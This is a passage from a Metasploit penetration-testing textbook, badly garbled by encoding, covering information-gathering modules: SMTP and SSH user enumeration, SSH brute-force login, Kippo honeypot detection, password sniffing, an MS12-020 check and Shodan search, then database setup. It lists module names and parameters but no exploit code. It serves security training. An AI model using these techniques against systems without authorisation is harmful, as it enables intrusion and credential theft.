�T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �S�M�T�P� �s�e�r�v�e�r� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �f�o�r� �v�e�r�s�i�o�n� �a�n�d� �l�i�s�t�s
�u�s�e�r�s� �c�o�n�f�i�g�u�r�e�d� �t�o� �u�s�e� �t�h�e� �S�M�T�P� �s�e�r�v�i�c�e�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/smtp/smtp_enum �,� �a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o
�c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�U�S�E�R�_�F�I�L�E�:� �P�a�t�h� �t�o� �t�h�e� �f�i�l�e� �c�o�n�t�a�i�n�i�n�g� �a� �l�i�s�t� �o�f� �u�s�e�r�n�a�m�e�s
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�S�e�c�u�r�e� �S�h�e�l�l
�S�S�H� �i�s� �c�o�m�m�o�n�l�y� �u�s�e�d� �f�o�r� �r�e�m�o�t�e� �a�d�m�i�n�i�s�t�r�a�t�i�o�n� �o�v�e�r� �a�n� �e�n�c�r�y�p�t�e�d� �c�h�a�n�n�e�l�.� �S�S�H� �u�s�e�s� �T�C�P
�p�o�r�t� �2�2� �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.

�L�e�t�'�s� �g�o� �t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �S�S�H� �a�u�x�i�l�i�a�r�i�e�s�:

ssh_enumusers �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �S�S�H� �s�e�r�v�e�r� �o�n� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �t�o� �g�e�t� �a� �l�i�s�t� �o�f� �u�s�e�r�s� �(�c�o�n�f�i�g�u�r�e�d� �t�o� �w�o�r�k� �w�i�t�h� �S�S�H� �s�e�r�v�i�c�e�)� �o�n� �t�h�e� �r�e�m�o�t�e
�s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ssh/ssh_enumusers �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�U�S�E�R�_�F�I�L�E�:� �P�a�t�h� �t�o� �t�h�e� �f�i�l�e� �c�o�n�t�a�i�n�i�n�g� �a� �l�i�s�t� �o�f� �u�s�e�r�n�a�m�e�s
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

ssh_login �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�e�r�f�o�r�m�s� �a� �b�r�u�t�e�-�f�o�r�c�e� �a�t�t�a�c�k� �o�n� �t�h�e� �t�a�r�g�e�t
�S�S�H� �s�e�r�v�e�r�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ssh/ssh_login �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�U�S�E�R�P�A�S�S�_�F�I�L�E�:� �P�a�t�h� �t�o� �t�h�e� �f�i�l�e� �c�o�n�t�a�i�n�i�n�g� �a� �l�i�s�t� �o�f� �u�s�e�r�n�a�m�e�s
�a�n�d� �p�a�s�s�w�o�r�d�s



�I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t

�[� �7�6� �]

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

ssh_version �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �t�a�r�g�e�t� �S�S�H� �s�e�r�v�e�r� �i�n� �o�r�d�e�r� �t�o
�d�e�t�e�c�t� �i�t�s� �v�e�r�s�i�o�n� �a�l�o�n�g� �w�i�t�h� �t�h�e� �v�e�r�s�i�o�n� �o�f� �t�h�e� �u�n�d�e�r�l�y�i�n�g� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ssh/ssh_version �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

detect_kippo �:� �K�i�p�p�o� �i�s� �a�n� �S�S�H�-�b�a�s�e�d� �h�o�n�e�y�p�o�t� �t�h�a�t� �i�s� �s�p�e�c�i�a�l�l�y� �d�e�s�i�g�n�e�d� �t�o
�l�u�r�e� �a�n�d� �t�r�a�p� �p�o�t�e�n�t�i�a�l� �a�t�t�a�c�k�e�r�s�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �t�a�r�g�e�t� �S�S�H
�s�e�r�v�e�r� �i�n� �o�r�d�e�r� �t�o� �d�e�t�e�c�t� �w�h�e�t�h�e�r� �i�t�'�s� �a� �r�e�a�l� �S�S�H� �s�e�r�v�e�r� �o�r� �j�u�s�t� �a� �K�i�p�p�o� �h�o�n�e�y�p�o�t�.
�I�f� �t�h�e� �t�a�r�g�e�t� �i�s� �d�e�t�e�c�t�e�d� �r�u�n�n�i�n�g� �a� �K�i�p�p�o� �h�o�n�e�y�p�o�t�,� �t�h�e�r�e�'�s� �n�o� �p�o�i�n�t� �i�n� �w�a�s�t�i�n�g
�t�i�m�e� �a�n�d� �e�f�f�o�r�t� �i�n� �i�t�s� �f�u�r�t�h�e�r� �c�o�m�p�r�o�m�i�s�e�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ssh/detect_kippo �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�D�o�m�a�i�n� �N�a�m�e� �S�y�s�t�e�m
�D�o�m�a�i�n� �N�a�m�e� �S�y�s�t�e�m� �(�D�N�S�)� �d�o�e�s� �a� �j�o�b� �o�f� �t�r�a�n�s�l�a�t�i�n�g� �h�o�s�t� �n�a�m�e�s� �t�o� �c�o�r�r�e�s�p�o�n�d�i�n�g� �I�P
�a�d�d�r�e�s�s�e�s�.� �D�N�S� �n�o�r�m�a�l�l�y� �w�o�r�k�s� �o�n� �U�D�P� �p�o�r�t� �5�3� �b�u�t� �c�a�n� �o�p�e�r�a�t�e� �o�n� �T�C�P� �a�s� �w�e�l�l�.� �T�h�i�s
�a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�a�n� �b�e� �u�s�e�d� �t�o� �e�x�t�r�a�c�t� �n�a�m�e� �s�e�r�v�e�r� �a�n�d� �m�a�i�l� �r�e�c�o�r�d� �i�n�f�o�r�m�a�t�i�o�n� �f�r�o�m� �t�h�e
�t�a�r�g�e�t� �D�N�S� �s�e�r�v�e�r�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/gather/dns_info �,� �a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o
�c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�D�O�M�A�I�N�:� �D�o�m�a�i�n� �n�a�m�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�R�e�m�o�t�e� �D�e�s�k�t�o�p� �P�r�o�t�o�c�o�l
�R�e�m�o�t�e� �D�e�s�k�t�o�p� �p�r�o�t�o�c�o�l� �(�R�D�P�)� �i�s� �u�s�e�d� �t�o� �r�e�m�o�t�e�l�y� �c�o�n�n�e�c�t� �t�o� �a� �W�i�n�d�o�w�s� �s�y�s�t�e�m�.� �R�D�P
�u�s�e�s� �T�C�P� �p�o�r�t� �3�3�8�9� �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�h�e�c�k�s� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �i�s� �v�u�l�n�e�r�a�b�l�e� �f�o�r� �M�S�1�2�-�0�2�0�.� �M�S�1�2�-�0�2�0� �i�s� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �W�i�n�d�o�w�s� �R�e�m�o�t�e
�D�e�s�k�t�o�p� �t�h�a�t� �a�l�l�o�w�s� �a�n� �a�t�t�a�c�k�e�r� �t�o� �e�x�e�c�u�t�e� �a�r�b�i�t�r�a�r�y� �c�o�d�e� �r�e�m�o�t�e�l�y�.� �M�o�r�e� �i�n�f�o�r�m�a�t�i�o�n� �o�n
�M�S�1�2�-�0�2�0� �v�u�l�n�e�r�a�b�i�l�i�t�y� �c�a�n� �b�e� �f�o�u�n�d� �a�t
https://technet.microsoft.com/en-us/library/security/ms12-020.aspx .

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/rdp/ms12_020 �,� �a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o
�c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

https://technet.microsoft.com/en-us/library/security/ms12-020.aspx
https://technet.microsoft.com/en-us/library/security/ms12-020.aspx
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�P�a�s�s�w�o�r�d� �s�n�i�f�f�i�n�g
�P�a�s�s�w�o�r�d� �s�n�i�f�f�i�n�g� �i�s� �a� �s�p�e�c�i�a�l� �t�y�p�e� �o�f� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �t�h�a�t� �l�i�s�t�e�n�s� �o�n� �t�h�e� �n�e�t�w�o�r�k� �i�n�t�e�r�f�a�c�e
�a�n�d� �l�o�o�k�s� �f�o�r� �p�a�s�s�w�o�r�d�s� �s�e�n�t� �o�v�e�r� �v�a�r�i�o�u�s� �p�r�o�t�o�c�o�l�s� �s�u�c�h� �a�s� �F�T�P�,� �I�M�A�P�,� �P�O�P�3�,� �a�n�d� �S�M�B�.� �I�t
�a�l�s�o� �p�r�o�v�i�d�e�s� �a�n� �o�p�t�i�o�n� �t�o� �i�m�p�o�r�t� �p�r�e�v�i�o�u�s�l�y� �d�u�m�p�e�d� �n�e�t�w�o�r�k� �t�r�a�f�f�i�c� �i�n� .pcap � �f�o�r�m�a�t� �a�n�d
�l�o�o�k� �f�o�r� �c�r�e�d�e�n�t�i�a�l�s� �w�i�t�h�i�n�.
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�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/sniffer/psnuffle �,� �a�n�d� �i�t� �c�a�n� �b�e� �s�e�e�n� �i�n� �t�h�e
�f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�A�d�v�a�n�c�e�d� �s�e�a�r�c�h� �w�i�t�h� �s�h�o�d�a�n
�S�h�o�d�a�n� �i�s� �a�n� �a�d�v�a�n�c�e�d� �s�e�a�r�c�h� �e�n�g�i�n�e� �t�h�a�t� �i�s� �u�s�e�d� �t�o� �s�e�a�r�c�h� �f�o�r� �i�n�t�e�r�n�e�t� �c�o�n�n�e�c�t�e�d� �d�e�v�i�c�e�s
�s�u�c�h� �a�s� �w�e�b�c�a�m�s� �a�n�d� �S�C�A�D�A� �s�y�s�t�e�m�s�.� �I�t� �c�a�n� �a�l�s�o� �b�e� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e�d� �f�o�r� �s�e�a�r�c�h�i�n�g
�v�u�l�n�e�r�a�b�l�e� �s�y�s�t�e�m�s�.� �I�n�t�e�r�e�s�t�i�n�g�l�y�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �a� �c�a�p�a�b�i�l�i�t�y� �t�o� �i�n�t�e�g�r�a�t�e
�w�i�t�h� �S�h�o�d�a�n� �t�o� �f�i�r�e� �s�e�a�r�c�h� �q�u�e�r�i�e�s� �r�i�g�h�t� �f�r�o�m� �m�s�f�c�o�n�s�o�l�e�.

�I�n� �o�r�d�e�r� �t�o� �i�n�t�e�g�r�a�t�e� �S�h�o�d�a�n� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �y�o�u� �f�i�r�s�t� �n�e�e�d� �t�o� �r�e�g�i�s�t�e�r
�y�o�u�r�s�e�l�f� �o�n� h  t  t  p  s  ://w  w w .  s  h  o  d  a  n  .  i  o  �.� �O�n�c�e� �r�e�g�i�s�t�e�r�e�d�,� �y�o�u� �c�a�n� �g�e�t� �t�h�e� �A�P�I� �k�e�y� �f�r�o�m� �t�h�e
�A�c�c�o�u�n�t� �O�v�e�r�v�i�e�w� �s�e�c�t�i�o�n� �s�h�o�w�n� �a�s� �f�o�l�l�o�w�s�:

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/gather/shodan_search �,� �a�n�d� �t�h�i�s� �a�u�x�i�l�i�a�r�y
�m�o�d�u�l�e� �c�o�n�n�e�c�t�s� �t�o� �t�h�e� �S�h�o�d�a�n� �s�e�a�r�c�h� �e�n�g�i�n�e� �t�o� �f�i�r�e� �s�e�a�r�c�h� �q�u�e�r�i�e�s� �f�r�o�m� msfconsole � �a�n�d
�g�e�t� �t�h�e� �s�e�a�r�c�h� �r�e�s�u�l�t�s�.

https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
https://www.shodan.io
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�Y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�S�H�O�D�A�N�_�A�P�I�K�E�Y�:� �T�h�e� �S�h�o�d�a�n� �A�P�I� �k�e�y� �a�v�a�i�l�a�b�l�e� �t�o� �r�e�g�i�s�t�e�r�e�d� �S�h�o�d�a�n� �u�s�e�r�s
�Q�U�E�R�Y�:� �K�e�y�w�o�r�d� �t�o� �b�e� �s�e�a�r�c�h�e�d

�Y�o�u� �c�a�n� �r�u�n� �t�h�e� shodan_search � �c�o�m�m�a�n�d� �t�o� �g�e�t� �t�h�e� �f�o�l�l�o�w�i�n�g� �r�e�s�u�l�t�:

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �h�a�v�e� �s�e�e�n� �h�o�w� �t�o� �u�s�e� �v�a�r�i�o�u�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �f�o�r� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n�.� �I�n� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �l�e�a�r�n� �t�o
�p�e�r�f�o�r�m� �a� �d�e�t�a�i�l�e�d� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �o�n� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�s�.
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�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�I�n� �a�d�d�i�t�i�o�n� �t�o� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �d�i�s�c�u�s�s�e�d� �i�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �t�r�y� �t�o� �e�x�p�l�o�r�e� �a�n�d
�e�x�e�c�u�t�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s�:

auxiliary/scanner/http/ssl_version

auxiliary/scanner/ssl/openssl_heartbleed

auxiliary/scanner/snmp/snmp_enum

auxiliary/scanner/snmp/snmp_enumshares

auxiliary/scanner/snmp/snmp_enumusers

�U�s�e� �t�h�e� �S�h�o�d�a�n� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �t�o� �f�i�n�d� �o�u�t� �v�a�r�i�o�u�s� �i�n�t�e�r�n�e�t� �c�o�n�n�e�c�t�e�d� �d�e�v�i�c�e�s
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�M�e�t�a�s�p�l�o�i�t
�I�n� �t�h�e� �l�a�s�t� �c�h�a�p�t�e�r�,� �y�o�u� �l�e�a�r�n�e�d� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �o�f� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d
�e�n�u�m�e�r�a�t�i�o�n�.� �N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �g�a�t�h�e�r�e�d� �i�n�f�o�r�m�a�t�i�o�n� �a�b�o�u�t� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �i�t�'�s� �t�i�m�e� �t�o
�c�h�e�c�k� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �i�s� �v�u�l�n�e�r�a�b�l�e� �a�n�d� �i�f� �w�e� �c�a�n� �e�x�p�l�o�i�t� �i�t� �i�n� �r�e�a�l�i�t�y�.� �I�n� �t�h�i�s
�c�h�a�p�t�e�r�,� �w�e� �w�i�l�l� �c�o�v�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�S�e�t�t�i�n�g� �u�p� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �d�a�t�a�b�a�s�e
�V�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g� �a�n�d� �e�x�p�l�o�i�t�i�n�g
�P�e�r�f�o�r�m�i�n�g� �N�M�A�P� �a�n�d� �N�e�s�s�u�s� �s�c�a�n�s� �f�r�o�m� �w�i�t�h�i�n� �M�e�t�a�s�p�l�o�i�t
�U�s�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�u�x�i�l�i�a�r�i�e�s� �f�o�r� �v�u�l�n�e�r�a�b�i�l�i�t�y� �d�e�t�e�c�t�i�o�n
�A�u�t�o�-�e�x�p�l�o�i�t�a�t�i�o�n� �w�i�t�h� db_autopwn

�E�x�p�l�o�r�i�n�g� �M�e�t�a�s�p�l�o�i�t ��s� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �c�a�p�a�b�i�l�i�t�i�e�s

�M�a�n�a�g�i�n�g� �t�h�e� �d�a�t�a�b�a�s�e
�A�s� �w�e� �h�a�v�e� �s�e�e�n� �s�o� �f�a�r�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �a� �t�i�g�h�t�l�y� �c�o�u�p�l�e�d� �c�o�l�l�e�c�t�i�o�n� �o�f� �v�a�r�i�o�u�s
�t�o�o�l�s�,� �u�t�i�l�i�t�i�e�s�,� �a�n�d� �s�c�r�i�p�t�s� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �p�e�r�f�o�r�m� �c�o�m�p�l�e�x� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �t�a�s�k�s�.
�W�h�i�l�e� �p�e�r�f�o�r�m�i�n�g� �s�u�c�h� �t�a�s�k�s�,� �a� �l�o�t� �o�f� �d�a�t�a� �i�s� �g�e�n�e�r�a�t�e�d� �i�n� �s�o�m�e� �f�o�r�m� �o�r� �t�h�e� �o�t�h�e�r�.� �F�r�o�m� �t�h�e
�f�r�a�m�e�w�o�r�k� �p�e�r�s�p�e�c�t�i�v�e�,� �i�t� �i�s� �e�s�s�e�n�t�i�a�l� �t�o� �s�t�o�r�e� �a�l�l� �d�a�t�a� �s�a�f�e�l�y� �s�o� �t�h�a�t� �i�t� �c�a�n� �b�e� �r�e�u�s�e�d
�e�f�f�i�c�i�e�n�t�l�y� �w�h�e�n�e�v�e�r� �r�e�q�u�i�r�e�d�.� �B�y� �d�e�f�a�u�l�t�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �u�s�e�s� �P�o�s�t�g�r�e�S�Q�L
�d�a�t�a�b�a�s�e� �a�t� �t�h�e� �b�a�c�k�e�n�d� �t�o� �s�t�o�r�e� �a�n�d� �r�e�t�r�i�e�v�e� �a�l�l� �t�h�e� �r�e�q�u�i�r�e�d� �i�n�f�o�r�m�a�t�i�o�n�.
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�W�e� �w�i�l�l� �n�o�w� �s�e�e� �h�o�w� �t�o� �i�n�t�e�r�a�c�t� �w�i�t�h� �t�h�e� �d�a�t�a�b�a�s�e� �t�o� �p�e�r�f�o�r�m� �s�o�m�e� �t�r�i�v�i�a�l� �t�a�s�k�s� �a�n�d� �e�n�s�u�r�e
�t�h�a�t� �t�h�e� �d�a�t�a�b�a�s�e� �i�s� �c�o�r�r�e�c�t�l�y� �s�e�t� �u�p� �b�e�f�o�r�e� �w�e� �b�e�g�i�n� �w�i�t�h� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�c�t�i�v�i�t�i�e�s�.

�F�o�r� �t�h�e� �i�n�i�t�i�a�l� �s�e�t�u�p�,� �w�e� �w�i�l�l� �u�s�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d� �t�o� �s�e�t� �u�p� �t�h�e� �d�a�t�a�b�a�s�e�:

�r�o�o�t�@�k�a�l�i� �:�~�#� �s�e�r�v�i�c�e� �p�o�s�t�g�r�e�s�q�l� �s�t�a�r�t

�T�h�i�s� �c�o�m�m�a�n�d� �w�i�l�l� �i�n�i�t�i�a�t�e� �t�h�e� �P�o�s�t�g�r�e�S�Q�L� �d�a�t�a�b�a�s�e� �s�e�r�v�i�c�e� �o�n� �K�a�l�i� �L�i�n�u�x�.� �T�h�i�s� �i�s� �n�e�c�e�s�s�a�r�y
�b�e�f�o�r�e� �w�e� �s�t�a�r�t� �w�i�t�h� �t�h�e� msfconsole � �c�o�m�m�a�n�d�:

�r�o�o�t�@�k�a�l�i� �:�~�#� �m�s�f�d�b� �i�n�i�t

�T�h�i�s� �c�o�m�m�a�n�d� �w�i�l�l� �i�n�i�t�i�a�t�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �d�a�t�a�b�a�s�e� �i�n�s�t�a�n�c�e� �a�n�d� �i�s� �a� �o�n�e�-�t�i�m�e
�a�c�t�i�v�i�t�y�:

db_status �:� �O�n�c�e� �w�e� �h�a�v�e� �s�t�a�r�t�e�d� �t�h�e� �P�o�s�t�g�r�e�S�Q�L� �s�e�r�v�i�c�e� �a�n�d� �i�n�i�t�i�a�t�e�d� msfdb �,� �w�e� �c�a�n� �t�h�e�n
�g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� msfconsole �:

�m�s�f�>� �d�b�_�s�t�a�t�u�s

�T�h�e� db_status � �c�o�m�m�a�n�d� �w�i�l�l� �t�e�l�l� �u�s� �w�h�e�t�h�e�r� �t�h�e� �b�a�c�k�e�n�d� �d�a�t�a�b�a�s�e� �h�a�s� �b�e�e�n� �s�u�c�c�e�s�s�f�u�l�l�y
�i�n�i�t�i�a�l�i�z�e�d� �a�n�d� �c�o�n�n�e�c�t�e�d� �w�i�t�h� msfconsole �:
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�W�o�r�k� �s�p�a�c�e�s
�L�e�t�'�s� �a�s�s�u�m�e� �y�o�u� �a�r�e� �w�o�r�k�i�n�g� �o�n� �m�u�l�t�i�p�l�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�s�s�i�g�n�m�e�n�t�s� �f�o�r� �v�a�r�i�o�u�s
�c�l�i�e�n�t�s� �s�i�m�u�l�t�a�n�e�o�u�s�l�y�.� �Y�o�u� �c�e�r�t�a�i�n�l�y� �d�o�n�'�t� �w�a�n�t� �t�h�e� �d�a�t�a� �f�r�o�m� �d�i�f�f�e�r�e�n�t� �c�l�i�e�n�t�s� �t�o� �m�i�x
�t�o�g�e�t�h�e�r�.� �T�h�e� �i�d�e�a�l� �w�a�y� �w�o�u�l�d� �b�e� �t�o� �m�a�k�e� �l�o�g�i�c�a�l� �c�o�m�p�a�r�t�m�e�n�t�s� �t�o� �s�t�o�r�e� �d�a�t�a� �f�o�r� �e�a�c�h
�a�s�s�i�g�n�m�e�n�t�.� �W�o�r�k�s�p�a�c�e�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�e�l�p� �u�s� �a�c�h�i�e�v�e� �t�h�i�s� �g�o�a�l�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �s�o�m�e� �o�f� �t�h�e� �c�o�m�m�o�n� �c�o�m�m�a�n�d�s� �r�e�l�a�t�e�d� �t�o� �m�a�n�a�g�i�n�g
�w�o�r�k�s�p�a�c�e�s�:

�S�r�.� �n�o�.�C�o�m�m�a�n�d �P�u�r�p�o�s�e

�1�. workspace �T�h�i�s� �l�i�s�t�s� �a�l�l� �p�r�e�v�i�o�u�s�l�y� �c�r�e�a�t�e�d� �w�o�r�k�s�p�a�c�e�s� �w�i�t�h�i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k

�2�. workspace -h �T�h�i�s� �l�i�s�t�s� �h�e�l�p� �o�n� �a�l�l� �s�w�i�t�c�h�e�s� �r�e�l�a�t�e�d� �t�o� �t�h�e� workspace
�c�o�m�m�a�n�d

�3�. workspace -a <name> �T�h�i�s� �c�r�e�a�t�e�s� �a� �n�e�w� �w�o�r�k�s�p�a�c�e� �w�i�t�h� �a� �s�p�e�c�i�f�i�e�d� name

�4�. workspace -d <name> �T�h�i�s� �d�e�l�e�t�e�s� �t�h�e� �s�p�e�c�i�f�i�e�d� �w�o�r�k�s�p�a�c�e

